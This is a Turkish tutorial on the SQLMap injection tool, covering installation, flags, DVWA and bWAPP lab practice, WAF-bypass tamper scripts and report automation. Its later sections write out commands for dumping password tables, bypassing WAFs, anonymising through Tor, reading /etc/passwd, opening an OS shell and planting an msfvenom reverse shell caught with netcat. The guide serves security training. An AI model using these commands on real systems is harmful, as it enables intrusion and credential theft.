![]() |
SQLMap Nedir? Nasıl Kullanılır? Adım Adım SQL Injection Test Rehberi |
📌 SQLMap Nedir? — Giriş ve Temel Bilgiler (Bölüm 1)
🔍 SQLMap Nedir?
SQLMap, açık kaynak kodlu, Python ile yazılmış bir otomatik SQL enjeksiyon (SQL Injection) tespit ve istismar aracıdır. Web uygulamalarında bulunan veritabanı açıklarını tespit ederek, bu açıklardan sızma testi (penetration testing) yapılmasına olanak sağlar. Özellikle OWASP Top 10 listesinde yer alan SQL Injection açıklarını hedef alır.
SQLMap, etik hackerlar, siber güvenlik uzmanları, penetration tester’lar ve güvenlik araştırmacıları tarafından sıkça kullanılır. Otomatik olarak veritabanı bilgilerini elde edebilir, veritabanı yapısını çözebilir ve kullanıcı verilerine ulaşabilir.
💡 SQL Injection (SQLi) Nedir?
SQL Injection, kötü niyetli kullanıcıların, veritabanı sorgularını manipüle ederek uygulamanın beklenmedik şekilde davranmasına yol açtığı bir güvenlik açığıdır. Bu tür saldırılar sayesinde saldırgan, kullanıcı adı, şifre, kredi kartı bilgileri gibi hassas verilere erişebilir.
Örneğin, bir giriş formuna ' OR '1'='1
gibi bir ifade girilirse, saldırgan tüm kullanıcı listesine erişim kazanabilir.
🎯 SQLMap’in Amaçları
SQLMap’in temel hedefleri şunlardır:
-
SQL enjeksiyon zafiyetlerini otomatik olarak bulmak
-
Veritabanı bilgilerini çekmek (kullanıcılar, tablolar, kolonlar, vs.)
-
Veritabanı sistemine komut çalıştırmak
-
Güvenlik zafiyetlerini ortaya çıkarmak
-
Test sürecini hızlandırmak
🧩 SQLMap’in Özellikleri
SQLMap, aşağıdaki gibi birçok güçlü özelliğe sahiptir:
-
Otomatik tespit: GET ve POST isteklerinde SQL Injection açığını tarar.
-
Veritabanı desteği: MySQL, PostgreSQL, Oracle, Microsoft SQL Server, SQLite, DB2 ve daha fazlasını destekler.
-
Veri çıkarma: Tabloları, kolonları ve verileri kolayca dışa aktarır.
-
Hash çözme: Şifrelenmiş parolaları otomatik çözmeye çalışır.
-
Komut çalıştırma: Sistem komutları çalıştırarak kabuk erişimi sağlayabilir.
-
Proxy ve Tor desteği: Anonim testler yapmak mümkündür.
-
Cookie, header ve parametre analizi: Gelişmiş HTTP isteği yapılandırmaları.
🛠️ Hangi Durumlarda SQLMap Kullanılır?
SQLMap genellikle şu senaryolarda tercih edilir:
-
Web uygulamalarının güvenlik testi
-
Red team ve blue team analizleri
-
Penetrasyon testi raporları için delil toplama
-
Eğitim ve araştırma amaçlı simülasyonlar
🔐 SQLMap Etik Kullanım Kuralları
SQLMap, yasal olmayan işlemler için kullanılmamalıdır. Sadece:
-
Kendi sunucularınızda
-
İzin alınmış hedeflerde
-
Eğitim ortamlarında
kullanılması gerekir. Aksi durumda hukuki sorumluluk doğabilir. Bu makale de yalnızca eğitim ve bilinçlendirme amaçlı hazırlanmıştır.
🔍 Neden SQLMap? Diğer Araçlardan Farkı Ne?
SQLMap’in tercih edilmesinin başlıca nedenleri:
-
Ücretsiz ve açık kaynaklı: Geliştiriciler ve araştırmacılar sürekli güncelliyor.
-
Kapsamlı parametre desteği: Karmaşık sorgular bile yönetilebilir.
-
Kolay kullanım: Komut satırı üzerinden kolayca entegre edilir.
-
Topluluk desteği: Forumlar, GitHub ve diğer kaynaklarda yoğun içerik mevcut.
🧪 SQLMap Kullanım Alanları
-
Web pentest projeleri
-
Sızma testi eğitimleri
-
Güvenlik araştırma laboratuvarları
-
CTF (Capture The Flag) yarışmaları
🚀 Bir Bakışta SQLMap
Özellik | Açıklama |
---|---|
Diller | Python |
Desteklenen DBMS | MySQL, MSSQL, PostgreSQL, Oracle, SQLite vb. |
Platform | Windows, Linux, macOS |
Lisans | GPLv2 (Açık kaynak) |
Web Sitesi | https://sqlmap.org |
Devamında neler gelecek? 📚
➡ Bölüm 2: SQLMap Kurulumu (Linux, Windows, Termux, Docker)
➡ Bölüm 3: SQLMap Komutları ve Kullanımı
➡ Bölüm 4: Gerçek Hedef Üzerinde Uygulama Örnekleri
➡ Bölüm 5: Gelişmiş Teknikler ve ByPass Yöntemleri
➡ Bölüm 6: Loglama, Otomasyon ve Raporlama
➡ Bölüm 7: SQLMap ile Güvenlik Test Süreci
➡ Bölüm 8: Sık Yapılan Hatalar ve İpuçları
➡ Bölüm 9: Etik Hackerlar için Kılavuz
➡ Bölüm 10: Sonuç ve Kapanış
⚙️ Bölüm 2: SQLMap Kurulumu ve Ortam Hazırlığı
🖥️ SQLMap Kurulumu — Genel Bilgiler
SQLMap, Python tabanlı bir araç olduğu için hemen her platformda çalıştırılabilir: Windows, Linux, macOS ve Android (Termux üzerinden). Kurulum için öncelikle sisteminizde Python 3.x sürümünün yüklü olması gerekir.
Python yüklü değilse, resmi web sitesi olan https://python.org üzerinden indirip kurabilirsiniz.
📦 1. Windows Üzerinde SQLMap Kurulumu
Adım adım SQLMap kurulum süreci:
-
Python Kurulumu
Python’un son sürümünü https://python.org/downloads adresinden indirip yükleyin. Kurulum sırasında “Add Python to PATH” kutusunu işaretlemeyi unutmayın. -
Git Yükleme
SQLMap GitHub reposundan indirileceği için Git gereklidir. Git’i https://git-scm.com/downloads adresinden kurabilirsiniz. -
SQLMap’i Klonla
Komut istemcisine (CMD) şu komutu yazın:bashgit clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev
-
SQLMap’i Çalıştır
SQLMap’i doğrudan şu komutla başlatabilirsiniz:bashpython sqlmap.py
Artık SQLMap komut satırınızdan kullanılabilir.
🐧 2. Linux Üzerinde SQLMap Kurulumu
Linux dağıtımları (Ubuntu, Debian, Kali Linux, Parrot OS vb.) genellikle penetration test için daha uygundur.
Kurulum adımları:
-
Terminali açın.
-
Aşağıdaki komutu yazın:
bashsudo apt update sudo apt install git python3 git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python3 sqlmap.py
📝 Not: Kali Linux gibi bazı dağıtımlarda SQLMap önceden kurulu olabilir. Kontrol etmek için terminale
sqlmap -h
yazabilirsiniz.
🍏 3. macOS Üzerinde SQLMap Kurulumu
macOS kullanıcıları da SQLMap’i kolaylıkla kurabilir:
-
Terminali açın.
-
Homebrew kurulu değilse önce kurun:
bash/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
-
Git ve Python yükleyin:
bashbrew install git python
-
SQLMap’i klonlayın ve çalıştırın:
bashgit clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python3 sqlmap.py
📱 4. Android (Termux) Üzerinde SQLMap Kurulumu
SQLMap’i mobil cihazda kullanmak istiyorsan, Termux en iyi çözümlerden biri. Ancak sadece Android cihazlarda geçerlidir.
Adımlar:
-
Termux’u Google Play veya F-Droid üzerinden indir.
-
Termux’u aç ve şu komutları sırayla gir:
bashpkg update && pkg upgrade pkg install git python git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev cd sqlmap-dev python sqlmap.py
⚠️ Termux, root erişimi olmadan bazı komutları desteklemeyebilir.
🐳 5. Docker ile SQLMap Kullanımı
SQLMap’i Docker konteyneri olarak çalıştırmak daha izole ve güvenli bir ortam sağlar.
Kurulum Adımları:
-
Docker kurulu değilse kur:
-
Terminalden şu komutla SQLMap konteynerini başlat:
bashdocker run -it --rm --name sqlmap ferruhmert/sqlmap
-
Örnek kullanım:
bashdocker run -it --rm ferruhmert/sqlmap -u "http://hedefsite.com?id=1" --dbs
🔌 Bağlantı Testi ve Kullanıma Hazırlık
Kurulum sonrası SQLMap’in çalışıp çalışmadığını test etmek için:
bashpython sqlmap.py -h
Eğer yardım menüsü geliyorsa, kurulum başarılı demektir.
📚 Bonus: Test Ortamı Kurmak (Hackable Lab)
SQLMap kullanmadan önce yasal ve etik kurallar çerçevesinde test yapabileceğin güvenli ortamlar oluşturmalısın:
-
DVWA (Damn Vulnerable Web Application)
https://github.com/digininja/DVWA -
bWAPP (Buggy Web Application)
https://sourceforge.net/projects/bwapp/ -
WebGoat (OWASP)
https://owasp.org/www-project-webgoat/
Bu uygulamaları yerel sunucuda barındırarak SQLMap pratikleri yapabilirsin.
✅ Kurulum Sonrası Hazırlıklar
-
Proxy yapılandırması (Burp Suite ile entegrasyon)
-
VPN ya da Tor ile anonim bağlantı
-
Gözlem için log klasörlerini kontrol etme
-
Uygulama öncesi hedefe izin alınması
Bu bölümde SQLMap’in farklı ortamlarda nasıl kurulacağını adım adım gösterdik. Şimdi sırada, komutlar ve temel kullanım örnekleri var. 👇
🧾 Bölüm 3: SQLMap Komutları, Parametreler ve Temel Kullanım Örnekleri
🖥️ SQLMap Komut Satırı Kullanımı
SQLMap, komut satırı (terminal veya CMD) üzerinden çalışır. Temel sözdizimi şu şekildedir:
bashpython sqlmap.py [seçenekler]
Ya da sistem PATH’ine eklediyseniz kısaca:
bashsqlmap [seçenekler]
🔗 Temel Kullanım Örnekleri
1. Basit GET isteğiyle SQL Injection taraması:
bashsqlmap -u "http://hedefsite.com/urun.php?id=1"
Bu komut, belirtilen URL’de id
parametresi üzerinde SQL Injection denemeleri yapar.
2. POST isteğiyle form verisi test etmek:
bashsqlmap -u "http://hedefsite.com/login.php" --data="username=admin&password=1234"
Bu komutta, --data
ile POST form verileri gönderilir. SQLMap, bu parametrelerde zafiyet arar.
3. Cookie ile oturum bazlı tarama:
bashsqlmap -u "http://hedefsite.com/dashboard.php" --cookie="PHPSESSID=abcd1234"
Tarama sırasında oturum bilgisi gerekiyorsa, --cookie
parametresi kullanılır.
🔑 En Sık Kullanılan SQLMap Parametreleri
Parametre | Açıklama |
---|---|
-u |
Hedef URL’yi belirtir |
--data |
POST verisi girilir |
--cookie |
Cookie bilgisi girilir |
--level |
Tarama seviyesi (1-5) |
--risk |
Risk seviyesi (1-3) |
--dbs |
Tüm veritabanlarını listeler |
--tables |
Tabloları gösterir |
--columns |
Kolonları listeler |
--dump |
Verileri çeker |
--threads |
Tarama için iş parçacığı sayısı |
--batch |
Tüm sorulara otomatik “Evet” yanıtı verir |
--os-shell |
Sistem kabuğu açmaya çalışır |
--tor |
Tor ağı üzerinden bağlantı sağlar |
--proxy |
Belirli bir proxy ile çalışır |
--random-agent |
Rastgele User-Agent tanımlaması yapar |
--technique=BEUSTQ |
Belirli enjeksiyon tekniklerini sınırlar |
⚙️ Parametreleri Kombine Etme
SQLMap’in asıl gücü parametreleri akıllıca birleştirmekten gelir. Örnek:
bashsqlmap -u "http://site.com/page.php?id=5" --cookie="sessionid=xyz" --risk=3 --level=5 --random-agent --batch --dbs
Bu komutla:
-
-
seviyeye kadar detaylı test yapılır
-
-
Riskli payload’lar denenir
-
Kullanıcı ajanı rastgele seçilir
-
Oturum bilgisi verilir
-
Kullanıcıdan onay istenmeden işlem yapılır
📥 Veri Tabanı, Tablo ve Kolon Bilgilerini Çekme
1. Tüm veritabanlarını listeleme:
bashsqlmap -u "http://site.com/page.php?id=2" --dbs
2. Belirli veritabanının tablolarını görmek:
bashsqlmap -u "http://site.com/page.php?id=2" -D hedefdb --tables
3. Belirli tablonun kolonlarını görmek:
bashsqlmap -u "http://site.com/page.php?id=2" -D hedefdb -T kullanicilar --columns
4. Belirli verileri çekmek:
bashsqlmap -u "http://site.com/page.php?id=2" -D hedefdb -T kullanicilar -C username,password --dump
🧠 Tarama Seviyesi ve Risk Ayarları
-
--level=1-5
: Taramanın kapsamı. 1: hızlı, 5: detaylı. -
--risk=1-3
: Payload’ların tehlikelilik düzeyi. 3, kritik sistemlere zarar verebilir.
Önerilen kombinasyon:
bash--level=3 --risk=2
Bu ayarlar, gerçek sistemlerde hem yeterli kapsam hem de düşük risk sağlar.
🌐 Proxy ve Tor ile Anonim Testler
SQLMap ile anonim test yapılabilir:
bashsqlmap -u "http://hedef.com" --tor --tor-type=SOCKS5 --check-tor
Proxy kullanımı:
bashsqlmap -u "http://hedef.com" --proxy="http://127.0.0.1:8080"
Burp Suite ile entegre test yapılacaksa, bu ayar idealdir.
🤖 Otomatik Mod: –batch
SQLMap test sırasında çok sayıda onay sorusu sorar. Eğer müdahale etmeden test yapılacaksa:
bash--batch
Bu parametre ile tüm sorulara otomatik “evet” cevabı verilir.
🧪 İpucu: Parametre Belirtme Teknikleri
Eğer hedef URL çok sayıda parametre içeriyorsa, sadece belirli birini test ettirmek istersen:
bashsqlmap -u "http://site.com/index.php?id=1&kategori=3" -p "id"
Bu sayede sadece id
parametresi üzerinde test yapılır.
🧰 Hazır Payload ve Dosya Tabanlı Testler
Bazı durumlarda URL’ler ve POST verileri dosya üzerinden aktarılabilir:
bashsqlmap -r istek.txt --batch --dbs
istek.txt
dosyası, tarayıcı veya Burp Suite’ten alınan HTTP isteği içerir.
✅ Bu Bölümde Neler Öğrendik?
-
SQLMap komut yapısını
-
En çok kullanılan parametreleri
-
Temel senaryolar ve örnekler
-
Veri çekme ve analiz süreçleri
-
Proxy, cookie, User-Agent gibi gelişmiş kontroller
🚀 Şimdi sırada uygulamalı örneklerle gerçek bir web uygulamasında SQLMap kullanımı var!
🧪 Bölüm 4: Gerçek Hedef Üzerinde Uygulama Örneği (DVWA / bWAPP ile SQLMap Pratiği)
🛡️ Yasal Uyarı
Bu bölümde vereceğimiz tüm örnekler yalnızca eğitim amaçlıdır ve yalnızca kendi oluşturduğunuz veya açıkça izin verilen test ortamlarında kullanılmalıdır. Gerçek sitelerde, sahibinden açık izin almadan SQLMap gibi araçları kullanmak kanunen suçtur.
🏗️ Test Ortamı Hazırlığı
Bu örnekleri uygulamak için sanal makine ya da yerel sunucuya aşağıdaki uygulamalardan birini kurabilirsin:
1. DVWA (Damn Vulnerable Web Application)
-
Web tabanlı, zafiyetlerle dolu bir test uygulamasıdır.
Kurulum Özeti (XAMPP üzerinde):
-
XAMPP veya LAMP/MAMP kurulumu yap.
-
htdocs
klasörüne DVWA dosyalarını yerleştir. -
config
dosyasını düzenle. -
MySQL ve Apache’yi başlat.
-
http://localhost/dvwa/setup.php
üzerinden veritabanını oluştur.
2. bWAPP (Buggy Web Application)
-
Geniş yelpazede zafiyetler içerir.
Kurulum XAMPP veya Docker ile yapılabilir.
🎯 Hedef Belirleme
DVWA içinde SQL Injection seviyesini “Low” olarak ayarlayarak başlayalım:
-
Tarayıcıda:
http://localhost/dvwa/vulnerabilities/sqli/
-
URL örneği:
bashhttp://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
🔍 Adım Adım SQLMap Kullanımı
🪜 Adım 1: Temel Tarama
bashsqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low"
Bu komutta:
-
--cookie
kısmında oturum bilgisi var (bu bilgi, giriş yaptıktan sonra tarayıcıdan alınır). -
SQLMap,
id
parametresi üzerinde tarama yapacak.
🧪 Adım 2: Veritabanlarını Listeleme
bashsqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" --dbs
Bu komutla tüm veritabanları listelenir.
Beklenen çıktı:
less[*] available databases [3]: [*] dvwa [*] information_schema [*] mysql
📂 Adım 3: Tabloları Görüntüleme
bashsqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa --tables
Beklenen çıktı:
css[*] Table: users
📋 Adım 4: Kolonları Listeleme
bashsqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa -T users --columns
Beklenen kolonlar:
pgsqluser_id, first_name, last_name, username, password
📥 Adım 5: Verileri Çekme
bashsqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" -D dvwa -T users -C username,password --dump
Bu komutla kullanıcı adları ve şifreler elde edilir.
💡 Gelişmiş: POST Formuna SQLMap ile Müdahale
Form URL’si:
http://localhost/dvwa/vulnerabilities/sqli/
Form verisi:
id=1&Submit=Submit
Komut:
bashsqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=abcd1234; security=low" --dbs
🎯 Hedef Belirleme: bWAPP Örneği
bWAPP’te SQL Injection modülünü seç ve benzer URL’yi yakala. Örneğin:
bashhttp://localhost/bWAPP/sqli_1.php?title=1
Komut:
bashsqlmap -u "http://localhost/bWAPP/sqli_1.php?title=1" --cookie="PHPSESSID=xyz; security_level=0" --dbs
Aynı mantıkla tabloları, kolonları ve verileri çekebilirsin.
🛠️ İpuçları ve Hatalarla Başa Çıkma
-
Cookie doğru değilse, SQLMap tarama yapmaz.
-
Zafiyet seviyesini “High” yaptığında, SQLMap daha az sonuç alabilir.
-
Güvenlik duvarı varsa,
--tamper
scriptleri ile bypass denenebilir (bir sonraki bölümde anlatılacak).
✅ Bu Bölümde Neler Öğrendik?
-
DVWA ve bWAPP test ortamları nasıl kurulur?
-
Gerçek bir hedefte SQLMap nasıl kullanılır?
-
Veritabanı, tablo, kolon ve veriler nasıl çekilir?
-
POST ve GET istekleri nasıl analiz edilir?
-
Cookie ile oturum takibi nasıl yapılır?
📘 Sonraki Bölüm:
💣 Bölüm 5 — SQLMap ile Güvenlik Duvarlarını Atlama: Tamper Scriptleri ve Bypass Teknikleri
🔐 Bölüm 5: SQLMap ile Güvenlik Duvarlarını Atlama – Tamper Scriptleri ve Bypass Teknikleri
🧱 Güvenlik Duvarları ve WAF Nedir?
Web Application Firewall (WAF), web uygulamalarını SQL Injection gibi saldırılardan korumaya yarayan bir güvenlik katmanıdır. Örneğin:
-
Cloudflare
-
ModSecurity
-
AWS WAF
-
Imperva
Bu sistemler, gelen istekleri filtreleyerek şüpheli SQL ifadelerini tespit edip engeller. Bu durumlarda SQLMap’in klasik payload’ları çalışmaz.
🧨 SQLMap ile WAF Atlama Stratejileri
1. –tamper Scriptleri Kullanmak
SQLMap, WAF’leri atlatmak için “tamper” adını verdiği scriptleri kullanır. Bunlar SQL sorgularını, WAF’lerin algılamayacağı biçimlere dönüştürür.
Kullanımı:
bashsqlmap -u "http://hedef.com?id=1" --tamper=charencode
Birden fazla tamper scripti:
bashsqlmap -u "http://hedef.com?id=1" --tamper=charencode,randomcase
📂 Popüler Tamper Scriptleri ve Ne İşe Yararlar?
Script Adı | Açıklama |
---|---|
space2comment |
Boşlukları SQL yorum satırı haline getirir (/**/ ) |
randomcase |
SQL komutlarının harflerini büyük-küçük karışık yapar |
charencode |
Karakterleri hex/kodlanmış hale getirir |
between |
OR 1=1 gibi ifadeleri BETWEEN ile değiştirir |
apostrophemask |
Tırnakları maskeleyerek gönderir |
equaltolike |
= ifadesini LIKE olarak değiştirir |
versionedmorekeywords |
MySQL sürüm uyumlu anahtar kelimeler ekler |
unmagicquotes |
Magic Quotes açık sistemleri bypass eder |
base64encode |
Parametreleri base64 ile kodlar |
🔄 Tamper Örneği:
Normal tarama sonucu:
nginxWAF ERROR: Request blocked
Tamper ile:
bashsqlmap -u "http://site.com/index.php?id=1" --tamper=space2comment,randomcase --dbs
Sonuç: WAF geçildi, veritabanları listelendi ✅
🔧 Kendi Tamper Scriptini Yazmak
SQLMap Python ile yazılmış bir araç olduğu için kendi tamper scriptini yazmak mümkündür.
Basit örnek: reverseorder.py
pythondef tamper(payload, **kwargs): return payload[::-1]
Bu, SQL sorgusunu ters çevirir (genellikle işe yaramaz ama örnek mantığı gösterir). Scripti tamper
klasörüne atıp --tamper=reverseorder
ile kullanabilirsin.
🎭 User-Agent ve Header Değiştirme ile Gizlenme
Bazı WAF sistemleri gelen User-Agent bilgisine göre hareket eder. SQLMap ile kolayca değiştirebilirsin:
bash--random-agent
Ya da özel bir tanım:
bash--user-agent="Mozilla/5.0 (Windows NT 10.0)"
Ayrıca özel header’lar ekleyebilirsin:
bash--headers="X-Forwarded-For: 127.0.0.1"
🌍 Tor ile Anonimlik Sağlama
SQLMap, saldırı trafiğini Tor üzerinden yönlendirebilir:
bashsqlmap -u "http://site.com/page.php?id=1" --tor --check-tor
Tor proxy varsayılan olarak 127.0.0.1:9050’dır. Burada dikkat edilmesi gereken:
-
Tor servisi aktif olmalı
-
İsteğin HTTP olmalı (HTTPS üzerinde zorluklar olabilir)
🚧 Rate-Limiting / Ban Koruması İçin Bekleme Ayarı
Hedef sistem çok fazla istek alınca seni engelliyorsa:
bash--delay=3
Bu, her istekten sonra 3 saniye beklemesini sağlar. Ek olarak:
bash--timeout=10 --retries=3
Zaman aşımlarında SQLMap’in tekrar denemesini sağlar.
🧠 Payload Modifikasyonu ile El Yapımı Bypass
Eğer SQLMap her yolu denedi ama başarılı olamadıysa, manuel test yapmak gerekir. Ancak SQLMap’e özel payload da verilebilir:
bash--prefix="') " --suffix=" -- -" --technique=U
Bu şekilde örneğin:
-
' UNION SELECT … -- -
gibi payload’lara zorlanabilir. -
Prefix ve suffix, sorgunun başına/sonuna eklenecek özel ifadeleri belirtir.
🛡️ WAF Tespiti (Pasif)
SQLMap bazı WAF’leri otomatik olarak tanıyabilir:
bashsqlmap -u "http://hedef.com" --identify-waf
Çıktıda Cloudflare, AWS WAF gibi sistemler varsa gösterilir. WAF varsa, mutlaka tamper ya da bypass denemesi yapılmalıdır.
✅ Bu Bölümde Neler Öğrendik?
-
WAF sistemlerinin SQLMap’e karşı koruma sağladığını
-
SQLMap ile WAF atlatma yollarını
-
Tamper scriptlerinin kullanımı ve yazımı
-
User-Agent değiştirme, header ekleme
-
Tor ile anonimlik ve gecikme ayarları
📘 Sonraki Bölüm:
🔐 Bölüm 6 — SQLMap ile Şifre Kırma, Hash Çözme ve Sistem Erişimi Sağlama
Bu bölümde ele geçirilen şifrelerin kırılması ve SQLMap’in işletim sistemi kabuğu (OS Shell) açma gibi ileri düzey fonksiyonlarına değineceğiz.
💣 Bölüm 6: SQLMap ile Şifre Kırma, Hash Çözme ve Sistem Erişimi Sağlama
🔐 1. SQLMap ile Ele Geçirilen Hash’ler
SQL Injection sonucu çoğu zaman password
kolonları hashlenmiş şekilde gelir. Örneğin:
sqladmin | 5f4dcc3b5aa765d61d8327deb882cf99
Bu, bir MD5 hash’tir ve "password"
kelimesini temsil eder.
SQLMap, bu hash’leri çözmeye de yardımcı olabilir.
🧪 Örnek Komut:
bashsqlmap -u "http://site.com/page.php?id=1" --dump --passwords
Bu komut sayesinde:
-
SQLMap veritabanından şifre hash’lerini çeker.
-
Tanınan hash’leri çözmeye çalışır.
🔓 2. SQLMap ile Hash Kırma (Cracking)
SQLMap, basit hash’leri yerleşik wordlist’lerle çözebilir. Daha gelişmiş durumlar için hashcat
, john
gibi araçlara geçiş gerekebilir.
SQLMap çıktısı örneği:
sqlDatabase: dvwa Table: users [1 entry] +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +----+----------+----------------------------------+ [INFO] the password hash corresponds to: password
✅ SQLMap, yaygın hash türlerini otomatik algılar: MD5, SHA1, SHA256, MySQL hash v1/v2, MSSQL, vb.
🔁 3. Manuel Hash Analizi (Gelişmiş Kullanıcılar İçin)
SQLMap çözemezse hash şu şekilde alınabilir:
bashsqlmap -u "http://site.com?id=1" --dump -C password -T users -D dvwa --batch --output-dir=/path/to/save
Sonra bu hash’leri:
-
hashcat
,john the ripper
gibi araçlarla kırabilirsin.
🧠 4. SQLMap ile Komut Çalıştırma (OS Shell)
Eğer SQL Injection bir Command Injection ile birleştirilmişse, SQLMap hedef sistemde doğrudan komut çalıştırabilir.
🔥 Komut Örneği:
bashsqlmap -u "http://hedef.com/page.php?id=1" --os-shell
Bu komut çalıştığında SQLMap hedef sistemde bir terminal açmaya çalışır. Eğer başarılı olursa:
shellos-shell> whoami
gibi komutları doğrudan hedefte çalıştırabilirsin.
Not: Bu özellik, sistemin yüksek derecede zafiyetli olması durumunda çalışır. Her durumda mümkün değildir.
🔁 5. SQLMap ile Dosya Transferi
SQLMap hedef sisteme dosya gönderebilir veya oradan dosya çekebilir.
📤 Dosya Yükleme:
bashsqlmap -u "http://hedef.com/index.php?id=1" --file-write="/home/kali/reverse.php" --file-dest="/var/www/html/reverse.php"
Bu komutla Kali’deki reverse.php
dosyası hedef sisteme yüklenir.
📥 Dosya Okuma:
bashsqlmap -u "http://hedef.com/index.php?id=1" --file-read="/etc/passwd"
Bu komutla hedefteki /etc/passwd
dosyası okunur.
🧨 6. SQLMap ile Reverse Shell (Geri Bağlantı)
Hedef sisteme reverse shell
dosyası yüklenip çalıştırılırsa, Kali sistemine bağlantı gelir.
Adımlar:
-
msfvenom
ile bir payload hazırlanır:
bashmsfvenom -p php/reverse_php LHOST=192.168.1.100 LPORT=4444 -f raw > reverse.php
-
Bu dosya SQLMap ile yüklenir.
-
Kali’de listener açılır:
bashnc -lvnp 4444
-
Hedefte
reverse.php
çalıştırıldığında bağlantı gelir.
⚠️ Dikkat Edilmesi Gerekenler
-
--os-shell
özelliği genellikle sistem kullanıcısının yetkisiyle sınırlıdır. -
WAF varsa komut yürütme başarısız olabilir.
-
Bu işlemler yalnızca test ve eğitim ortamlarında yapılmalıdır.
-
Gerçek sistemlerde uygulanması suç teşkil eder.
✅ Bu Bölümde Neler Öğrendik?
-
SQLMap ile ele geçirilen hash’lerin nasıl çözüldüğü
-
Komut çalıştırma ve işletim sistemi terminali açma
-
Dosya yükleme/okuma
-
Reverse Shell kurulumu
-
Gerçek sistem kontrolünün nasıl sağlanabileceği
📘 Sonraki Bölüm:
📊 Bölüm 7 — SQLMap Kullanımında Loglama, Raporlama ve Otomasyon Teknikleri
Bir sonraki bölümde, SQLMap çıktılarının nasıl kaydedileceğini, raporların nasıl üretileceğini ve testlerin nasıl otomatikleştirileceğini anlatacağız.
📊 Bölüm 7: SQLMap Loglama, Raporlama ve Otomasyon Teknikleri
🗂️ 1. SQLMap Loglama Özellikleri
SQLMap, çalıştırdığın her testin detaylı logunu otomatik olarak bir klasöre kaydeder. Bu loglar şunları içerir:
-
HTTP istek/yanıtları
-
Payload’lar
-
Dump edilen veritabanları
-
Rapor dosyaları (txt, csv, xml formatlarında)
🔧 Kayıt Klasörü:
Varsayılan olarak:
bash~/.sqlmap/output/
Örneğin şu hedefe yapılan taramada:
bashsqlmap -u "http://example.com?id=1"
Çıktılar:
ruby~/.sqlmap/output/example.com/
İçeriği:
-
log
— log dosyaları -
dump
— veritabanı dökümleri -
session.sqlite
— oturum bilgisi
🧾 2. Raporlama Formatları (XML, JSON, CSV, TXT)
SQLMap ile elde edilen verileri farklı formatlarda dışa aktarabilirsin:
🔹 TXT formatı:
bash--output-dir=/home/kali/raporlar
Tüm çıktılar belirtilen klasöre kaydedilir.
🔹 CSV:
CSV formatında döküm almak için:
bash--dump-format=CSV
🔹 XML:
Makine tarafından okunabilir raporlar için:
bash--batch --output-dir=raporlar --parse-errors --dump-format=XML
Bu çıktılar, SIEM veya otomatik analiz sistemlerine kolayca aktarılabilir.
🔁 3. Otomasyon İçin Script Entegrasyonu
SQLMap, otomasyon senaryolarında Python veya Bash scriptleriyle entegre kullanılabilir.
🐍 Python ile Örnek Otomasyon:
pythonimport subprocess urls = [ "http://testsite1.com/index.php?id=1", "http://testsite2.com/item.php?prod=4" ] for url in urls: subprocess.call([ "sqlmap", "-u", url, "--batch", "--dbs", "--output-dir=output" ])
Bu script, listedeki URL’leri sırayla tarar ve sonuçları kaydeder.
🧠 4. SQLMap’te Session Kullanımı
Bir test ortasında durduysan ve sonra devam etmek istiyorsan, SQLMap session sistemini kullanabilirsin.
🔃 Devam Etmek:
bashsqlmap -u "http://hedef.com/index.php?id=1" --resume
SQLMap otomatik olarak oturum dosyasını bulur ve kaldığı yerden devam eder.
🛠️ 5. SQLMap ile Cronjob Kullanımı (Zamanlanmış Test)
Belirli aralıklarla zafiyet testi yapmak için cron
kullanılabilir.
🕒 Örnek Cronjob:
bash0 2 * * * /usr/bin/sqlmap -u "http://site.com?id=1" --batch --dump --output-dir=/opt/otomatik_raporlar
Bu, her gün saat 02:00’de SQLMap çalıştırır ve sonuçları kaydeder.
🧱 6. Burp Suite Entegrasyonu (Proxy Mode)
SQLMap, Burp Suite ile entegre çalışabilir. Böylece GET/POST parametrelerini, cookie’leri daha kolay test edebilirsin.
Adımlar:
-
Burp Suite başlat, proxy portunu örneğin
8080
yap. -
Tarayıcıyı Burp’a yönlendir.
-
SQLMap’te proxy ayarı yap:
bash--proxy="http://127.0.0.1:8080"
Bu sayede Burp üzerinde geçen tüm SQLMap trafiğini görebilirsin.
📡 7. –crawl ile Link Tarama ve Derin Taramalar
SQLMap sadece tek bir URL’yi değil, sitedeki linkleri de tarayabilir.
Örnek:
bashsqlmap -u "http://hedef.com" --crawl=2
Bu komut siteyi gezip 2 derinlikte linkleri analiz eder ve test eder.
📘 8. Report Output Özelleştirme
SQLMap çıktısını temiz bir şekilde almak için:
bash--batch --flush-session --answers="follow=Y"
Bu ayarlar:
-
Otomatik evet yanıtları verir.
-
Eski oturumu sıfırlar.
-
Sorulacak tüm sorulara
Y
cevabı verir.
✅ Bu Bölümde Neler Öğrendik?
-
SQLMap loglarının nerede ve nasıl tutulduğu
-
Rapor formatları (csv, xml, txt)
-
Otomasyon ve script entegrasyonu
-
Cronjob kullanımı
-
Burp Suite ile çalışma
-
Link tarama ve output özelleştirme
📘 Sonraki Bölüm:
🛡️ Bölüm 8 — SQLMap’e Karşı Alınabilecek Güvenlik Önlemleri
Bir sonraki bölümde, web uygulama geliştiricileri ve sistem yöneticileri için SQLMap tarzı saldırılara karşı alınabilecek etkili güvenlik önlemlerini ele alacağız.
